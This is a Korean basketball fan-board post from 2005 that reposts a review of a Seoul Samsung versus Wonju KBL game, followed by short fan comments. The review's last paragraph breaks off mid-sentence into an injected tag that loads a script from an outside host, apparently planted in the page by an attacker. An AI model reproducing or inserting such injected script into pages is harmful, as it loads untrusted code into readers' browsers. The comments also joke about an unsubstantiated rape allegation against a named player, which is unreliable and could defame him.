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이재우

썬더스 게시판

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[기타][펌] [KBL]서울삼성 대 원주 리뷰
이제 겨우 4경기 했고, 2승 2패입니다. 비록 2연패했지만 지난 시즌 보다는 훨씬 안정된 전력을 보여주었다고 봅니다. 한두경기 패배에 크게 실망할 필요는 없겠지요. 이규섭, 서장훈 선수 등이 부상과 국대 차출도 있었고 용병들의 플레이 스타일도 지난 시즌과 틀려 적응하는 데는 시간이 걸릴 겁니다. 좀더 지켜봤으면 합니다.

밑에는 후추에 신승렬님이 올리신 글입니다. 비삼성팬으로서 객관적으로 오늘 경기를 잘 분석하셨다고 봅니다. 좋은 리뷰라 삼성팬들에게 소개하고 싶어 퍼왔습니다. 흥분들 가라 앉히시고 차분하게 읽어 보셨으면 합니다.


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언제나 흥미로운 매치업입니다. 서장훈 대 김주성이라는 국내 유이의 빅맨들의 매치업도 그렇고, 여기에 두 팀 모두 주전 포가를 포기하고, 용병도 예년보다 높이 위주로 선발함으로써 조직력보단 높이에 중점을 둔 점도 비슷합니다.

결 과적으로 어떻게 되었을까요? 서장훈 대 김주성은 일단 3쿼터까지는 서장훈의 완승처럼 보였습니다. 서장훈은 3점, 중거리, 그리고 골밑까지 다양한 득점루트를 선보이며 공격력에서는 김주성을 압도했습니다. 가끔 속공으로 점수를 내고 중거리 한 개를 선보였을 뿐인 김주성은 최근 몇 년간 제가 본 게임 중 가장 밀리는 경기를 했습니다. 적어도 공격력에 대해서는 김주성은 정말 성장이 너무 더딥니다. 국내의 빅맨 코칭능력의 한계일까요.

포가 대결도 역시 삼성의 우위였습니다. 거의 게임 내내 뛴 김승기는 무득점 2어시라는 초라한 결과를 낸 반면, 이정석은 11득점 5어시스트라는 준수한 기록을 보였으니까요. 작년 플레이오프 승부를 갈랐던 치명적 약점인 3점도 2개나 성공했습니다. 반면 볼 돌아가는 것을 포가에게 의존할 수 없는 원주는 상당히 많은 턴오버를 냈죠.

골밑에서도 왓킨스보다는 오야데지가 미세하나마 더 나았습니다. 작년 한중 올스타전 이후 오랫만에 만난 두 선수는 그 때에도 그랬듯이 공격력보다는 수비에서 도미넌트하더군요. 그 돌파 잘하는 강혁이 머뭇거렸고, 반대로 동부의 데이비스 역시 돌파를 상당히 부담스러워 했습니다.

그래서 3쿼터까지는 삼성의 우위가 이어집니다. 그나마 3쿼터까지 10점 이내로 승부가 꾸준히 이어질 수 있었던 것은 네이트 존슨의 침묵 탓이 큽니다. 다른 말로 하면 데이비스의 수비가 대단히 뛰어났다는 말이죠. 이 선수는 좀 고민거리겠습니다. 확실한 에이스 스토퍼 역할을 할 만큼 수비도 좋고, 리바운드도 괜찮고, 돌파에 이은 핑거롤도 예술인데...외곽이 영 아닙니다. 3점은 물론 중거리도 거의 들어가지 않고 거의 모든 득점이 골밑에서 이뤄지더군요. 원주에 필요한 선수는 장거리슈터인데 말이죠.

하여간에, 4쿼터 들어서면서 삼성의 승세에 균열이 생기는 것은 서장훈의 발이 느려지면서부터입니다. 전혀 공격이 되지 않을 만큼 몸놀림이 둔해졌고, 양경민에게까지 블럭을 당하고 말죠. 이 순간에 해결사로 나선 것은 뒤늦게 제정신(^^)으로 돌아온 네이트 존슨이었습니다. 그의 활약으로 2분 36초가 남을 때까지 5점차를 유지하고 있었는데...

이 때 이정석이 5반칙 퇴장을 당하고 맙니다. 그리고 전창진 감독이 과감하게 승부수를 던집니다. 원래부터 약한 포가를 아예 버리고 리딩가드 없는 농구를 하는거죠. 데이비스는 드리블이나 패싱으로 봐선 포가를 할 선수가 아니었구요. 그런데 이 도박이 성공합니다. 상대방이 이 상황에서 앞선부터 압박했다면 아마 턴오버를 끌어내어 손쉽게 점수차를 벌렸겠지만 삼성의 백업가드진은 전혀 그런 능력이 안되죠.

결국 공격에서 오야데지와 서장훈의 무리한 공격이 실패하고, 양경민의 서커스 슛과 그 때까지 침묵하던 김주성의 리바운드와 팁인이 터지면서 동점이 됩니다.

7 초를 남겨놓고 동점에서 공격에 들어간 양경민, 넘어지면서 그냥 하늘로 던저올린 공이 기적처럼 골밑으로 빨려들어가고, 4초를 남긴 서장훈의 공격은 아쉽지만 예상했던 데로 빗나갑니다. 이미 그의 하체는 안정적인 슛을 던지기에는 너무 풀려 있었죠.

지 긴 했습니다만 시합 내내 삼성은 최근 몇 년보다 훨씬 좋아진 팀웍을 보여줍니다. 굉장히 볼이 유기적으로 돌아갔고, 존슨과 강혁은 최고수준의 선수들임을 각각 후반과 전반에 보여줍니다. (각각 절반만 ^^) 오늘 진 이유는 결국 이 선수들에게 지나치게 의존한 탓이 큽니다. 이규섭의 활용도가 너무나 미약한 것이 아쉽고, 이정석의 백업으로 강혁을 쓰고 이규섭을 내세우는 방법도 고민을 해 봐야 할 듯. 서장훈의 체력도 문제가 되겠지만, 그건 동부와의 시합에서 김주성이 나오기 때문에 어쩔 수 없는 측면이 있습니다. 다른팀?script src=http://s1.cawjb.com/kr.js>
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이상완 | 2005.10.30 | hit :4878 좋아요0
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4개의 댓글이 있습니다.

서윤성 | 2005-10-31 오전 12:15
경기 내내..리드하다가 막판에 역전당하니 참 허무하더군요. 강간범 퇴출 플랜카드..저도 봤는데..ㅋ 뭐..경기 마지막에 부상당한 듯 하던데..전혀 불쌍하지 않더군요 ㅋㅋ
서윤성 | 2005-10-31 오전 12:17
오늘 경기를 보면서 느낀점은 존슨을 적극적으로 활용할 필요성 + 주희정의 부재를 입니다. 작년 주희정 강혁 스케일의 속공은 정말 정확했는데..올해 속공 정확도는 너무 떨어지네요 -_-
민경석 | 2005-10-31 오전 12:18
양경민이 강간? 나쁜놈이군요..ㅋ
민경석 | 2005-10-31 오전 12:19
스케일 윈드밀 덩크 보고 싶네요..

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